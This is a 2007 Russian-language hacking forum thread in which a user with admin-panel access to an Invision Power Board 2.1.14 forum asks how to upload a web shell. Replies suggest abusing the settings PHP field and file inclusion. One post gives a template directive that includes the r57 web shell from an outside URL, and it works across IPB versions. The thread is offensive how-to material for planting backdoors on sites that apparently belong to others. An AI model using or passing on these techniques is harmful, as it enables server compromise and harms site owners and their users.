Форумы Заливка шелла в ipb 2.1.14, имея доступ в админку

Discussion in 'Уязвимости CMS/форумов' started by Rosssi, 30 Mar 2007.

Thread Status:
Not open for further replies.
  1. Rosssi

    Rosssi New Member

    Joined:
    13 Mar 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Везде искал так и ненашел способа.
    Имею полный доступ к админке ipb 2.1.14.
    Через смайлики не заливается что делать ?
     
  2. guest3297

    guest3297 Banned

    Joined:
    27 Jun 2006
    Messages:
    1,246
    Likes Received:
    639
    Reputations:
    817
    http://www.someshit.net/showthread.php?p=357#post357
     
    1 person likes this.
  3. win32_reverse

    win32_reverse New Member

    Joined:
    21 Jan 2007
    Messages:
    3
    Likes Received:
    0
    Reputations:
    0
    попробуй через инклудинг, помоему это сработает
     
  4. pogant

    pogant Elder - Старейшина

    Joined:
    24 Jun 2006
    Messages:
    30
    Likes Received:
    5
    Reputations:
    0
    лей через настройки.
     
  5. GrAmOzEkA

    GrAmOzEkA Elder - Старейшина

    Joined:
    25 Jun 2006
    Messages:
    234
    Likes Received:
    76
    Reputations:
    29
    Заходиш в настройки -> выбираеш любую настройку -> добавить настройку.
    В поле php код вбиваеш:
    Потом ищиш диру где разрешена запись и таким же способом загружаеш шелл, вот код для удалённой загрузки:
    У меня такое всегда работает даже когда SafeMode On
    Если хочеш прочитать какой либо файл ,то вбиваеш в поле php код следующее:

     
    #5 GrAmOzEkA, 2 Apr 2007
    Last edited: 2 Apr 2007
  6. FQziT

    FQziT Elder - Старейшина

    Joined:
    3 Nov 2005
    Messages:
    543
    Likes Received:
    156
    Reputations:
    206
    Для особенно "пряморуких" людей, у которых не получается ни один из вышеперечисленных способов, а шелл заинклудить очень хочется )) Есть вариант работающий со всеми версиями IPB.
    В основном шаблоне форума (Board Header and Footer Wrapper) можно вот так заинклудить
    Code:
    <!--exec.url="http://underwater.xtoolz.ru/shell/r57.txt"-->
    Так же и локальные файлы инклудить можно только с помощью exec.file.
     
    4 people like this.
  7. Rosssi

    Rosssi New Member

    Joined:
    13 Mar 2007
    Messages:
    11
    Likes Received:
    1
    Reputations:
    0
    Cпасибо ребят! :) Я как 2 дня разобрался с этим :) Вся инфа тут http://www.someshit.net/showthread.php?p=357#post357!
     
    1 person likes this.
Thread Status:
Not open for further replies.